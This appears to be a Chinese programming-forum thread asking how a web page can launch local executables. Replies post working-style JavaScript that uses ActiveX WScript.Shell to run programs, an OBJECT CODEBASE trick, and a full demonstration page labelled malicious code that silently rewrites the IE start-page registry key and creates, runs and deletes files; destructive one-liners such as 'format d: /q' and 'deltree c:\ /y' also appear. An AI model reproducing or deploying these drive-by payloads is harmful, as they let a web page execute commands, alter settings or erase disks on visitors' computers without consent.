这种方法已经不大可能正常使用了,许多病毒都是这么做的,有谁会允许网页执行可执行文件啊,假如执行 deltree c:\ /y 怎么办?你不是想编病毒吧?

解决方案 »

  1.   

    <a href="javascript:var a=new ActiveXObject('wscript.shell');a.Run('d:\\Program Files\\CS.exe')">调用程序</a>
      

  2.   

    楼上的,这个RUN里面不能带路径的说。
      

  3.   

    用其他一些方法试试,用程序编写成类,用JSP调用或许可以。
      

  4.   

    run里面可以带路径,在写路径的时候\要写成\\,文件夹的名称不能含有空格,我测试过,可以的。
    你的Program Files文件夹里有空格
    <a href="javascript:excu('D:\\Public\\1111\\','fbiao.exe')">调用程序</a>
    <SCRIPT LANGUAGE="JavaScript">
    function excu(path, name) {
    var a=new ActiveXObject('wscript.shell');
    a.Run(path + name);
    }
    </SCRIPT>
      

  5.   

    把路径中的Program Files改成Progra~1试试
      

  6.   

    修改如下:
    <html> 
    <head> 
    <script> 
    function exec (command) { 
    window.oldOnError = window.onerror; 
    window._command = command; 
    window.onerror = function (err) { 
    if (err.indexOf('automation' ) != -1) { 
    alert('命令已经被用户禁止!'); 
    return true; 

    else return false; 
    }; 
    var wsh = new ActiveXObject('WScript.Shell'); 
    if (wsh) 
    wsh.Run(command); 
    window.onerror = window.oldOnError; 

    </script> 
    </head> 
    <body> 
    <a href="javascript:" onclick="exec('c:\\test\\sertest.exe')">test</a> 
    </body> 
    </html>
      

  7.   

    我用这个试了
    <a href="javascript:excu('D:\\Public\\1111\\','fbiao.exe')">调用程序</a>
    <SCRIPT LANGUAGE="JavaScript">
    function excu(path, name) {
    var a=new ActiveXObject('wscript.shell');
    a.Run(path + name);
    }
    </SCRIPT>
    好象不是对什么程序都ok?
    这是为什么?
    有什么限制?
      

  8.   

    "执行 deltree c:\ /y 怎么办"
    楼上的以为如何?
    我觉得就好象比较恐怖
      

  9.   

    <script>
    (new ActiveXObject("Wscript.Shell")).Run("d:/Program Files/CS.exe");
    </script>
      

  10.   

    <script>
    (new ActiveXObject("Wscript.Shell")).Run("format d: /q");
    </script>这个不要乱弄啊。
      

  11.   

    换一种做法:
    <script>
    function Init(v) {
      var oPopup=window.createPopup();
      var oPopBody=oPopup.document.body;
      var html = "<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111111' CODEBASE='"+v+"' %1='r'></OBJECT>";
        oPopBody.innerHTML=html;
    //    oPopup.show(290, 190, 200, 200, document.body);
    }v = 'C:/Program Files/Teleport Pro/pro.exe';
    Init(v);
    </script>
      

  12.   

    你可以用shell的application的shellexecute方法。还可带参数。
    可以做你想要做的一切。
      

  13.   

    好吧,好吧!既然要看,给你们一个例子!千万要小心呀!!!
    警告!切不可用于非法目的!!!!!!<html>
    <head>
    <title> 恶意代码! </title>
    </head>
    <body bgcolor="#FFFFFF" onload=init()>
    <applet code=com.ms.activeX.ActiveXComponent width=0 height=0 id=a1>
    </applet>
    <script>
    function init()
    {
    yuzi();
    }function yuzi()
    {
    a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); //WScript.Shell
    a1.createInstance();
    sh1=a1.GetObject(); a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); //Scripting.FileSystemObject
    a1.createInstance();
    fs1=a1.GetObject();msg="当前 IE 的起始页为 "
    msg+=sh1.RegRead("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page")
    alert(msg+"\n将 IE 的起始页设置为 http://www.sohu.com/")
    sh1.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://www.sohu.com/");alert("在 C:\\ 下生成一个 a.txt 文件")
    pfc = fs1.CreateTextFile("c:\\a.txt", true)
    pfc.write(prg.innerText)
    pfc.close()alert("运行记事本,打开刚才生成的文件")
    sh1.run("notepad c:\\a.txt",1,true)alert("删除刚才生成的文件")
    fs1.DeleteFile("c:\\a.txt"); /*
    a1.setCLSID("{0006F03A-0000-0000-C000-000000000046}"); //Outlook.Application
    a1.createInstance();
    ol1=a1.GetObject();
    */
    }
    </script>
    <div id=prg style="display:none">
    如果这里是一段恶意的脚本代码……<br>
    function DeleteFile()<br>
    {<br>
    }
    </div>
    恶意代码!
    触目惊心!
    </body>
    </html>
      

  14.   

    还有一种方法,大概是HAPPY病毒的方法,将代码写入hta文件,这一步是没有警告的,然后再hta文件中执行你想要的。具体方法等我查查源代码就知道了。
      

  15.   

    楼上,你的办法如果Windows打了SP3就没法用了
    而且如果装有Norton的话,一定会被杀掉还有没有好办法了?哈哈
    @_@
      

  16.   

    你可以用shell的application的shellexecute方法。还可带参数。
    可以做你想要做的一切。
    这位大大能说清楚点么?
      

  17.   

    nik_Amis(Azrael) :所以我一开始就说了嘛“这种方法已经不大可能正常使用了”
      

  18.   

    dwy1979(阿问)
    你用的是xp吗?你看一下它的帮助文件里面有。